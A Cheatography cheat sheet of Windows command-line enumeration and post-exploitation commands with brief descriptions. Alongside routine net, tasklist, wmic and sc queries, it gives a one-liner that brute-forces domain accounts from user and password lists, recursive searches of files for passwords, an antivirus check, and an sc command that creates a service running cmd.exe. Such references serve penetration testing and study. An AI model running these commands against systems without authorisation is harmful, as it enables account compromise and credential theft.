Cheatography

Cheat Sheet Cheat Sheet

by jac 2019 (jac) via cheatography.com/71527/cs/18136/

test

net user	displays user account information
net accounts	Print accounts details
net group	
net group administrators	
net localgroup	displays the name of the server and the names of local groups on the computer
net localgroup administrators	Users are administration privilege on the local system
net view /domain	
net accounts /domain	
net session	
net group	
net view	
net view /domain	

v

whoami	Lists information about the user you are currently logged in as
tasklist /v	displays a list of currently running processes on a local machine
tasklist /svc	
tasklist /m	displays a list of currently running processes on a local machine

v (cont)

tasklist /S SERVER /U DOMAIN\username /P password	displays a list of currently running processes on remote machine
cmd.exe /c set	
ipconfig /all	
netstat -nao	
route print	
tasklist /FI "PID ne 0"	Displays a set of processes that match a given criteria specified by the filter
dir /s " match-text "	Searches for the word entered in the match-text section in all sub-dirs of the current directory
dir /a-r-d /s /b	Search for writeable directories
find /I password C:\Windows\System32-*.ini	Searches for a password string in a file or files
tree /F C:\Windows\system32-	Graphically displays the folder structure of a drive or path
fsutil fsinfo drives	Lists the current drives on the system

v (cont)

@FOR /F %n in (users.txt) DO @FOR /F %p in (pass.txt) DO @net use \\DomainController\IPC$ /user:%n %p 1>NUL 2>&1 && @echo [*] %n:%p &&	Bruteforce Windows accounts
FOR /F %f in ('dir /b /s C:') do find /I "password" %f	Search password in file or files from C:\

wmic

wmic useraccount list	Print account information
wmic group list	
wmic service list brief	
wmic logicaldisk get	
wmic process list brief	Print processe information
wmic startup list full	
wmic os list brief	Installed Operating System/s management
wmic computersystem list full	Computer system management
wmic qfe list	View list of patches installed
wmic startup get caption,command	Print the startup application on the local system

wmic (cont)

wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed	Print the main Antivirus installed in the machine

For more commands visit http://v.ht/wmic_cmds

SC

sc qc servicename	Queries the configuration information for a service. (BINARY_PATH_NAME and so on.)
sc query servicename	Queries the status for a service, or enumerates the status for types of services.
sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys/	Creates a service entry in the registry and Service Database
sc query	

Sponsored by **ApolloPad.com**
Everyone has a novel in them. Finish Yours!
https://apollopad.com